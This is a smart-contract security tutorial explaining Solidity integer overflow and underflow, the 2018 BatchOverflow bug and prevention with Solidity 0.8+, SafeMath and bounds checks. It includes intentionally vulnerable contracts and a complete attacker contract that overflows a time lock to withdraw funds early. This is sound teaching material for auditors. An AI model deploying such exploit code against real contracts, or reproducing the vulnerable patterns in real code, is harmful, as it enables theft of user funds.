Arithmetic Overflow & Underflow Attacks

How the attack works and how to prevent it

JohnnyTime
JohnnyTime · Updated August 05, 2026
21 min read
Total Stolen $230,590,000
Last Attack May 11, 2025
Latest Victim Mobius Token

Summarize with AI

Solidity Integer Overflows and Underflows: Mechanics and Prevention

Integer overflow and underflow attacks have drained over $1 billion from Decentralized Finance (DeFi) protocols and web3 projects. In April 2018, a single line of vulnerable code allowed hackers to mint infinite tokens out of thin air - crashing exchanges and wiping out entire projects overnight.

Solidity developers and auditors need to understand how bounded integers behave, especially in legacy code and modern unchecked blocks.

This guide explains integer wrapping, the BatchOverflow bug, vulnerable Solidity patterns, and current prevention and testing techniques.

What is an integer overflow/underflow attack?

An integer overflow or underflow attack occurs when an arithmetic operation produces a value that exceeds the storage capacity of the data type (like a uint256), causing an unexpected "wrapping" behavior that attackers can aggressively exploit.

  • Overflow: When a calculation exceeds the maximum allowed value, the number "wraps around" back to zero.

  • Underflow: When it drops below zero (for unsigned integers), it wraps back around to the maximum possible value.

In smart contracts, unexpected wrapping can let users bypass balance checks, manipulate time locks, or interfere with access control logic.

The odometer analogy

Think of an old car odometer with only 6 digits.

When it reaches 999,999 miles and you drive one more mile, it doesn't show 1,000,000 - it wraps around to 000,000. Now it looks like a brand-new car with zero miles.

That is exactly what integer overflow does. A uint8 variable holding 255 plus 1 doesn't become 256, it wraps to 0.

Underflow is the reverse: subtracting 1 from 0 wraps to the maximum value, 255 for a uint8. Picture the same odometer rolling backward from 000,000 to 999,999.

Integer overflow attack diagram - The wrap: why 255 + 1 = 0 (uint8 overflow)
The wrap: why 255 + 1 = 0 (uint8 overflow)

Why integer overflow still matters in audits

Integer overflow vulnerabilities have affected deployed token and protocol code:

$0B+
Market Cap Wiped
0+
Tokens Affected (BEC)
Fixed in 0.8.0
Solidity Version
Attack Year Impact
BatchOverflow (BEC, SMT) 2018 $1B+ market cap wiped
PoWHC 2018 866 ETH stolen
DeFi Lending Exploits 2019-2020 Multiple protocols drained

Before Solidity 0.8.0, every arithmetic operation was a potential exploit vector. Developers had to protect each calculation by hand, and missing one was enough.

Why legacy wrapping was easy to miss

Overflow attacks were dangerous because they were silent, not because they were complicated.

In pre-0.8.0 Solidity versions, arithmetic overflows didn't throw errors or revert transactions. The math simply wrapped around, and the code kept chugging along as if everything was perfectly normal.

Before Solidity 0.8.0, these operations produced no warning or revert unless the contract added its own checks.


The BatchOverflow bug

The BatchOverflow bug demonstrated how unchecked multiplication could invalidate a balance check.

The discovery: April 2018

Security researchers discovered a critical flaw in multiple ERC-20 token contracts.

A single line of unprotected multiplication allowed attackers to mint unlimited tokens from thin air.

Reported impact:

  • BeautyChain (BEC): $900 million market cap evaporated

  • SmartMesh (SMT): Trading suspended, severe losses

  • 30+ ERC-20 tokens: Confirmed vulnerable

  • Multiple exchanges: Forced emergency suspensions

The vulnerable code

The fatal flaw lived in a batchTransfer function:

// VULNERABLE - The actual code that lost $1 billion
function batchTransfer(address[] _receivers, uint256 _value) public {
    uint256 cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value;  // ⚠️ NO OVERFLOW CHECK
    require(amount <= balances[msg.sender]);

    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] += _value;
    }
    balances[msg.sender] -= amount;
}

The exploit: creating money from nothing

Attackers called batchTransfer with carefully crafted values:

  • _receivers: array with 2 addresses

  • _value: 2^255 (half of uint256 max)

The math: 2 * 2^255 = 2^256

But uint256 can only hold values up to 2^256 - 1, so 2^256 overflows to 0.

Step What Happens
1 amount = 2 * 2^255 = 0 (overflow!)
2 require(0 <= balance) ✅ passes
3 Each receiver gets 2^255 tokens
4 Sender loses 0 tokens
5 Unlimited tokens created from nothing

The attacker broke no rule the contract enforced. They used the code exactly as written, which is the whole problem with "code is law" when the code is wrong.

🔥
A single missing overflow check created $1 billion in fake tokens.
The BatchOverflow bug proved that in pre-0.8.0 Solidity, every arithmetic operation was a potential exploit vector. One missed check was all it took.
{
  "title": "🎬 BatchOverflow: minting $1B of tokens from nothing",
  "stage": { "width": 860, "height": 420 },
  "nodes": [
    { "id": "attacker", "label": "Attacker EOA", "role": "crafts the call", "emoji": "🧑‍💻", "x": 40, "y": 170, "color": "red" },
    { "id": "token", "label": "Token Contract", "role": "batchTransfer()", "emoji": "🪙", "x": 330, "y": 170, "color": "cyan" },
    { "id": "w1", "label": "Wallet A", "role": "attacker-owned", "emoji": "👛", "x": 640, "y": 50, "color": "purple" },
    { "id": "w2", "label": "Wallet B", "role": "attacker-owned", "emoji": "👛", "x": 640, "y": 300, "color": "purple" }
  ],
  "links": [
    { "from": "attacker", "to": "token" },
    { "from": "token", "to": "w1" },
    { "from": "token", "to": "w2" }
  ],
  "nets": [
    { "id": "supply", "label": "Tokens Minted" },
    { "id": "sender", "label": "Attacker's Tokens Spent" }
  ],
  "legend": [
    { "cls": "call", "label": "contract call" },
    { "cls": "token", "label": "token credit" },
    { "cls": "sig", "label": "overflow / state write" },
    { "cls": "fail", "label": "reverted / blocked" }
  ],
  "scenarios": {
    "Vulnerable (pre-0.8.0)": [
      { "note": "Attacker calls <b>batchTransfer([A, B], 2²⁵⁵)</b>, with two receivers each set to get 2²⁵⁵ tokens. The attacker holds <b>0</b> real tokens.", "hi": ["attacker", "token"], "bal": { "attacker": "0", "w1": "0", "w2": "0" }, "net": { "supply": "0", "sender": "0" }, "chip": { "from": "attacker", "to": "token", "label": "📞 batchTransfer", "cls": "call" } },
      { "note": "The contract computes <b>amount = 2 × 2²⁵⁵ = 2²⁵⁶</b>. But uint256 maxes out at 2²⁵⁶−1, so the multiplication <b>silently overflows to 0</b>.", "tone": "bad", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "amount = 0 💥", "cls": "sig" } },
      { "note": "The one guard, <b>require(amount ≤ balance)</b>, is now <b>require(0 ≤ 0)</b>, so it passes. The check no longer rejects the transfer.", "tone": "bad", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "require(0 ≤ 0) ✓", "cls": "sig" } },
      { "note": "The loop credits <b>2²⁵⁵ tokens</b> to Wallet A…", "tone": "bad", "hi": ["token", "w1"], "bal": { "w1": "2²⁵⁵" }, "net": { "supply": "2²⁵⁵" }, "chip": { "from": "token", "to": "w1", "label": "+2²⁵⁵", "cls": "token" } },
      { "note": "…and <b>2²⁵⁵ tokens</b> to Wallet B. The sender is debited <b>amount = 0</b>, so the attacker spent nothing for ~2²⁵⁶ tokens.", "tone": "bad", "hi": ["token", "w2"], "bal": { "w2": "2²⁵⁵" }, "net": { "supply": "2²⁵⁶ (≈ ∞)", "sender": "0" }, "chip": { "from": "token", "to": "w2", "label": "+2²⁵⁵", "cls": "token" } }
    ],
    "Fixed (0.8+ / SafeMath)": [
      { "note": "Same call: <b>batchTransfer([A, B], 2²⁵⁵)</b>.", "hi": ["attacker", "token"], "bal": { "attacker": "0", "w1": "0", "w2": "0" }, "net": { "supply": "0", "sender": "0" }, "chip": { "from": "attacker", "to": "token", "label": "📞 batchTransfer", "cls": "call" } },
      { "note": "<b>2 × 2²⁵⁵</b> still exceeds uint256, but Solidity 0.8+ (or SafeMath's <code>.mul()</code>) <b>detects it and reverts</b> the entire transaction.", "tone": "ok", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "revert ✋", "cls": "fail" } },
      { "note": "No tokens are minted. The exact overflow that printed $1B is now a hard error instead of a silent wrap.", "tone": "ok", "hi": ["token"], "net": { "supply": "0", "sender": "0" } }
    ]
  }
}

The aftermath

BatchOverflow helped demonstrate the need for checked arithmetic by default, which Solidity introduced in version 0.8.0.

Two years later, Solidity 0.8.0 finally shipped with built-in overflow protection - making this entire class of vulnerabilities significantly harder to execute.

Legacy contracts still use older compiler behavior, and modern code can reintroduce wrapping through unchecked blocks or low-level arithmetic.


The Smart Contract Hacking course includes a hands-on module on arithmetic overflows and underflows, with exercises that reproduce the vulnerable behavior locally.


How integer overflow attacks work, step by step

Every overflow bug starts with a type whose range is smaller than the values a caller can reach, so the type table below is where an audit begins.

Solidity integer types and their limits

Type Bits Min Value Max Value
uint8 8 0 255
uint16 16 0 65,535
uint256 256 0 ~1.16 × 10^77
int8 8 -128 127
int256 256 -2^255 2^255 - 1

The attack flow: time lock bypass example

Step Action Result
1 Attacker deposits 1 ETH lockTime = now + 1 week
2 Attacker calculates overflow value overflow = MAX_UINT - lockTime + 1
3 Attacker calls increaseLockTime(overflow) lockTime wraps to 0
4 Attacker calls withdraw() Check passes: now > 0
5 Funds withdrawn immediately 1-week lock bypassed
1
Tap to reveal
Attacker Deposits Funds

The attacker deposits 1 ETH into the time-locked contract. Their funds are locked for 1 week: lockTime = now + 1 week.

2
Tap to reveal
Calculate the Overflow Value

The attacker computes: MAX_UINT - lockTime + 1. This is the exact value needed to make lockTime wrap around to zero when added.

3
Tap to reveal
Trigger the Overflow

Call increaseLockTime(overflowValue). The addition overflows, wrapping lockTime to 0. The 1-week lock is instantly bypassed.

4
Tap to reveal
Withdraw Immediately

Call withdraw(). The check now > 0 passes easily. Funds are withdrawn without waiting a single second.

Integer overflow attack diagram - Time-lock bypass: one overflowed addition unlocks the vault instantly
Time-lock bypass: one overflowed addition unlocks the vault instantly

Pre-0.8.0 vs 0.8.0+ behavior

Scenario Pre-0.8.0 (Vulnerable) 0.8.0+ (Protected)
255 + 1 (uint8) Returns 0 silently Reverts transaction
0 - 1 (uint8) Returns 255 silently Reverts transaction
Detection None - execution continues Automatic revert
Developer burden Must use SafeMath Protected by default

The pragma line therefore decides the verdict. The same source that is safe under 0.8.0 is exploitable when compiled with 0.7.6, so read the version before you read the arithmetic.

Four common attack patterns

  1. Token balance manipulation. Overflow addition in transfers to mint unlimited tokens.

  2. Time lock bypass. Overflow time calculations to reset lock periods to zero or past dates.

  3. Access control bypass. Underflow counters to bypass rate limits or authentication checks.

  4. Reward calculation exploits. Overflow multiplication in staking rewards to drain protocol treasuries.

Integer Overflow
"Exceeding the maximum value wraps to zero. Like an odometer rolling from 999,999 to 000,000."
Example: 255 + 1 = 0 (uint8)
Integer Underflow
"Going below zero wraps to the maximum value. The odometer rolling backward from 000,000 to 999,999."
Example: 0 - 1 = 255 (uint8)
×
Multiplication Overflow
"Multiplication grows faster than addition, making it the most dangerous arithmetic operation for overflow."
Example: 2 * 2^255 = 0 (uint256)

Vulnerable code example: integer overflow time lock bypass

This contract demonstrates a classic time lock vulnerability exploitable through integer overflow.

Warning: This contract is intentionally vulnerable. Never deploy code like this.

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
// Compiled with Solidity ^0.7.6 (no overflow protection)
pragma solidity ^0.7.6;

contract VulnerableTimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // ⚠️ VULNERABILITY: No overflow protection!
    // Attacker can overflow lockTime to bypass the 1-week lock
    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "No funds");
        require(block.timestamp > lockTime[msg.sender], "Still locked");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Transfer failed");
    }
}

Why is this vulnerable?

The increaseLockTime function has no bounds checking:

  1. ❌ No maximum limit on _secondsToIncrease

  2. ❌ No overflow protection on addition

  3. ❌ Attacker controls the input value completely

  4. ❌ Pre-0.8.0 Solidity wraps silently on overflow

The math: if lockTime = 1,700,000,000 and the attacker adds type(uint256).max - 1,700,000,000 + 1, the result wraps to 0.


Attacker contract example: exploiting the time lock

Here's how an attacker exploits the vulnerable contract to instantly withdraw locked funds.

// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.7.6;

interface IVulnerableTimeLock {
    function deposit() external payable;
    function increaseLockTime(uint256) external;
    function withdraw() external;
    function lockTime(address) external view returns (uint256);
}

contract TimeLockAttacker {
    IVulnerableTimeLock public target;

    constructor(address _target) {
        target = IVulnerableTimeLock(_target);
    }

    // Receive ETH when withdrawing
    receive() external payable {}

    function attack() public payable {
        require(msg.value >= 1 ether, "Need ETH to deposit");

        // Step 1: Deposit funds (locked for 1 week)
        target.deposit{value: msg.value}();

        // Step 2: Get current lock time
        uint256 currentLock = target.lockTime(address(this));

        // Step 3: Calculate overflow value
        // We want: currentLock + overflow = 2^256 (wraps to 0)
        // overflow = 2^256 - currentLock = MAX_UINT - currentLock + 1
        uint256 overflowValue = type(uint256).max - currentLock + 1;

        // Step 4: Trigger the overflow
        target.increaseLockTime(overflowValue);

        // Step 5: Withdraw immediately (lockTime is now 0)
        target.withdraw();

        // Step 6: Send stolen funds to attacker
        payable(msg.sender).transfer(address(this).balance);
    }
}

Attack execution summary

Step Action State Change
1 Deposit 1 ETH lockTime = now + 1 week
2 Read lockTime Know exact value to overflow
3 Calculate overflow MAX_UINT - lockTime + 1
4 Call increaseLockTime lockTime wraps to 0
5 Call withdraw now > 0 passes ✅
6 Receive funds Attack complete

Note that all six steps run inside one transaction. The attacker never waits out any part of the lock.


How to prevent integer overflow and underflow attacks

Three layers matter here, in this order: the compiler version, the arithmetic you opt out of, and the bounds your business logic enforces regardless.

Effectiveness98/100

What it does: Built-in overflow/underflow protection that automatically reverts on wrap-around. No library imports needed.

When to use: New Solidity contracts should use checked arithmetic unless a bounded invariant justifies an unchecked operation.

Limitation: Can be bypassed with unchecked blocks. Legacy contracts still use pre-0.8.0.

Effectiveness85/100

What it does: OpenZeppelin library that wraps arithmetic operations with overflow checks using .add(), .sub(), .mul().

When to use: Any pre-0.8.0 contract that cannot be upgraded. Essential for legacy code.

Limitation: Higher gas costs. Developers must remember to use SafeMath for every operation - miss one and you're vulnerable.

Effectiveness70/100

What it does: Adds meaningful constraints like MAX_LOCK_EXTENSION = 365 days to prevent unreasonable values.

When to use: Always, as an additional layer even with 0.8.0+ protection. Defense in depth.

Limitation: Doesn't protect against overflow directly - complements compiler protection by constraining inputs.

1. Use Solidity 0.8.0 or later (primary defense)

This is the single most effective protection against overflow attacks.

Feature Pre-0.8.0 0.8.0+
Default behavior Wraps silently Reverts automatically
Developer action Must use SafeMath Nothing - protected by default
Gas cost Higher (library calls) Lower (optimized opcodes)
// SECURE - Solidity 0.8.0+ automatically reverts on overflow
pragma solidity ^0.8.0;

contract SecureContract {
    function safeAdd(uint256 a, uint256 b) public pure returns (uint256) {
        return a + b;  // ✅ Automatically reverts if overflow
    }
}

2. Use SafeMath for legacy contracts (pre-0.8.0)

If you can't upgrade, OpenZeppelin's SafeMath is essential:

// For contracts that MUST use pre-0.8.0 Solidity
pragma solidity ^0.7.6;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract LegacySecure {
    using SafeMath for uint256;

    function transfer(uint256 amount) public {
        balance = balance.sub(amount);  // ✅ Reverts on underflow
    }
}

3. Minimize unchecked block usage

Solidity 0.8+ allows disabling overflow protection for gas optimization. Use it with extreme caution:

// ✅ SAFE: Loop counter cannot realistically overflow
unchecked {
    for (uint256 i = 0; i < arr.length; ++i) {
        // i cannot overflow with realistic array sizes
    }
}

// ❌ DANGEROUS: User input in unchecked block
unchecked {
    balance += userInput;  // ⚠️ VULNERABLE!
}

Safe unchecked use cases:

  • Loop counters with bounded iterations

  • Post-validated subtractions (a - b after confirming a > b)

Never use unchecked with:

  • User-supplied values

  • Balance calculations

  • Token transfers

  • Time-based logic

4. Add business logic validation

Even with overflow protection, add meaningful constraints:

uint256 public constant MAX_LOCK_EXTENSION = 365 days;

function increaseLockTime(uint256 _seconds) public {
    require(_seconds <= MAX_LOCK_EXTENSION, "Too long");
    lockTime[msg.sender] += _seconds;  // Protected + validated
}

5. Test arithmetic boundaries

Test boundary conditions explicitly:

function testOverflowReverts() public {
    vm.expectRevert();  // Should revert on overflow
    contract.add(type(uint256).max, 1);
}

function testUnderflowReverts() public {
    vm.expectRevert();  // Should revert on underflow
    contract.subtract(0, 1);
}

6. Security audits and static analysis

  • Slither: Detects overflow patterns automatically

  • Mythril: Symbolic execution finds edge cases

  • Professional audits: Essential before mainnet deployment


Secure code example: overflow-protected smart contract

The following example combines checked arithmetic with business-level bounds. Adapt the limits and test protocol invariants before production use.

// DEFENSIVE EXAMPLE - adapt and audit before production use
pragma solidity ^0.8.0;

contract SecureTimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    // STEP 1: CONSTANTS - Business logic limits
    uint256 public constant MAX_LOCK_EXTENSION = 365 days;
    uint256 public constant DEFAULT_LOCK = 1 weeks;

    event Deposited(address indexed user, uint256 amount);
    event LockExtended(address indexed user, uint256 newUnlockTime);
    event Withdrawn(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Must deposit > 0");

        // ✅ Automatic overflow protection
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + DEFAULT_LOCK;

        emit Deposited(msg.sender, msg.value);
    }

    function increaseLockTime(uint256 _seconds) public {
        require(lockTime[msg.sender] > 0, "No active lock");

        // STEP 2: VALIDATION - Business logic constraint
        require(_seconds <= MAX_LOCK_EXTENSION, "Exceeds max extension");

        // ✅ Built-in protection reverts on overflow
        lockTime[msg.sender] += _seconds;

        emit LockExtended(msg.sender, lockTime[msg.sender]);
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];

        // STEP 3: CHECKS
        require(amount > 0, "No funds");
        require(block.timestamp > lockTime[msg.sender], "Still locked");

        // STEP 4: EFFECTS - Update state BEFORE external call
        balances[msg.sender] = 0;
        lockTime[msg.sender] = 0;

        // STEP 5: INTERACTIONS - External call last
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        emit Withdrawn(msg.sender, amount);
    }
}

Security features summary

Protection Implementation
Overflow protection Solidity 0.8.0+ (automatic)
Business logic MAX_LOCK_EXTENSION constant
Input validation require statements
CEI pattern State updated before external call
Transparency Events for all state changes

Applied to batchTransfer, the same two controls (checked multiplication plus a bound on the per-call amount) would have stopped the BatchOverflow mint at the first arithmetic step.


SafeMath vs Solidity 0.8+: complete comparison

Understanding both approaches is essential for auditing contracts across different compiler versions.

SafeMath (pre-0.8.0)

using SafeMath for uint256;

function transfer(uint256 amount) public {
    balances[msg.sender] = balances[msg.sender].sub(amount);
    balances[to] = balances[to].add(amount);
}

Solidity 0.8+ built-in

function transfer(uint256 amount) public {
    balances[msg.sender] -= amount;  // Protected automatically
    balances[to] += amount;          // Protected automatically
}

Comparison table

Feature SafeMath Solidity 0.8+
Syntax .add(), .sub() +, -
Gas cost ~200 per operation ~20-40 per operation
Default Opt-in (must import) Opt-out (unchecked)
Code clarity Verbose Clean
Audit ease Medium Easy

For new contracts, use Solidity 0.8+. SafeMath is worth knowing anyway, because you will meet it in legacy code under audit.

Vulnerable

Pre-0.8.0 Without SafeMath

Arithmetic wraps silently. No warnings, no reverts. Every calculation is an exploit vector. This is how the BatchOverflow bug created $1B in fake tokens.

Legacy Safe

Pre-0.8.0 with SafeMath

SafeMath library catches overflows but requires explicit use for every operation. Higher gas costs and verbose syntax. Miss one call and you're exposed.

Recommended

Solidity 0.8.0+

Built-in overflow protection by default. Lower gas costs than SafeMath. Clean native syntax. Only disabled explicitly via unchecked blocks.


Advanced variations: beyond basic overflow

As smart contracts become more complex, so do overflow attack vectors.

1. Multiplication overflow

Multiplication grows faster than addition, making it particularly dangerous:

// VULNERABLE: amount * price can overflow
uint256 totalCost = amount * pricePerUnit;

// SECURE: Check before multiplication
require(amount <= type(uint256).max / pricePerUnit, "Overflow");
uint256 totalCost = amount * pricePerUnit;

2. Cross-contract overflow

Vulnerabilities spanning multiple contracts:

  • Contract A calculates reward amounts

  • Contract B receives and distributes rewards

  • Overflow in Contract A passes invalid values to Contract B

3. Oracle data overflow

External data sources can introduce overflow:

// VULNERABLE: Oracle could return malicious values
uint256 price = oracle.getPrice();
uint256 value = userBalance * price;  // Could overflow

4. ERC-20 batch operations

The BatchOverflow pattern remains relevant in any batch operation:

// DANGEROUS PATTERN - Always validate batch calculations
uint256 total = recipients.length * amountEach;  // ⚠️

5. Time-based overflow

Timestamp calculations with large durations:

// VULNERABLE: What if lockDuration is MAX_UINT?
unlockTime = block.timestamp + lockDuration;

// SECURE: Add bounds
require(lockDuration <= 10 years, "Too long");

While Solidity 0.8+ checks arithmetic by default, oracle manipulation attacks can still supply unexpectedly large values. Validate oracle data before using it in arithmetic operations.

Overflow vulnerabilities also relate to flash loan attacks, where large temporary balances can reach arithmetic edge cases in reward calculations, fee computations, or share-price formulas.


Common misconceptions

?

"Solidity 0.8+ makes overflow attacks impossible."

Tap to reveal
MYTH

Developers can disable protection using unchecked blocks for gas optimization. Any arithmetic inside unchecked with user-supplied values reintroduces the vulnerability.

?

"SafeMath is still needed in Solidity 0.8+."

Tap to reveal
MYTH

Solidity 0.8+ has built-in overflow protection that's more gas-efficient than SafeMath. However, understanding SafeMath remains important for auditing legacy contracts.

?

"Integer overflow is no longer a real threat."

Tap to reveal
MYTH

Billions of dollars remain locked in legacy contracts compiled with pre-0.8.0 Solidity. Plus, unchecked blocks in modern contracts can reintroduce vulnerabilities.

?

"Only addition and subtraction can overflow."

Tap to reveal
MYTH

Multiplication overflow is actually the most dangerous - it grows exponentially faster. The BatchOverflow bug used 2 * 2^255 (multiplication) to create $1B in fake tokens.


Test your overflow knowledge

5 questions - Can you spot the arithmetic danger?

Question 1 of 5

Frequently asked questions about integer overflow attacks

An integer overflow attack exploits the fact that numbers have maximum values. When you exceed that maximum, the number "wraps around" to zero - like an odometer rolling over. Attackers use this to bypass security checks, mint unlimited tokens, or withdraw locked funds.

No. Solidity 0.8+ has built-in overflow protection that's more gas-efficient than SafeMath. However, understanding SafeMath is still important for auditing older contracts and understanding why unchecked blocks are dangerous.

Yes - if developers use unchecked blocks incorrectly. The built-in protection can be disabled for gas optimization, reintroducing vulnerabilities. Also, billions of dollars remain locked in legacy pre-0.8.0 contracts.

Overflow: Adding past the maximum wraps to zero (255 + 1 = 0). Underflow: Subtracting past zero wraps to maximum (0 - 1 = 255). Both exploit the same wrapping behavior, just in opposite directions.

Check the Solidity version (pre-0.8.0 is suspicious), search for unchecked blocks, review arithmetic with user inputs (especially multiplication), use static analysis tools like Slither and Mythril, and fuzz test boundary values.


Quick reference: overflow prevention checklist

Before deploying any contract with arithmetic operations:

  • Use Solidity 0.8.0+ for automatic overflow protection

  • Review all unchecked blocks - each needs documented safety justification

  • Add business logic limits (max values, reasonable bounds)

  • Validate all user inputs before arithmetic operations

  • Test boundary values - MAX_UINT, 0, near-boundary cases

  • Run static analysis - Slither, Mythril, Securify

  • Get professional audit before mainnet deployment

  • Monitor for suspicious transactions post-deployment

  • Implement emergency pause for rapid response


Where overflow still hides in 2026 code

Checked arithmetic by default removed the accidental version of this bug, so what remains is deliberate: unchecked blocks, narrowing casts such as uint256 to uint128, raw assembly, and contracts still pinned below 0.8.0. Those four places are where an audit should spend its time.

The test that catches the rest is a boundary test. Assert that each arithmetic path behaves at 0, at type(uint256).max, and at whatever protocol-specific ceiling the accounting assumes.


Practice arithmetic review

The Smart Contract Hacking course includes hands-on exercises for finding and fixing arithmetic vulnerabilities.

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Arithmetic Overflow & Underflow Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Arithmetic Overflow & Underflow Attacks Free Trial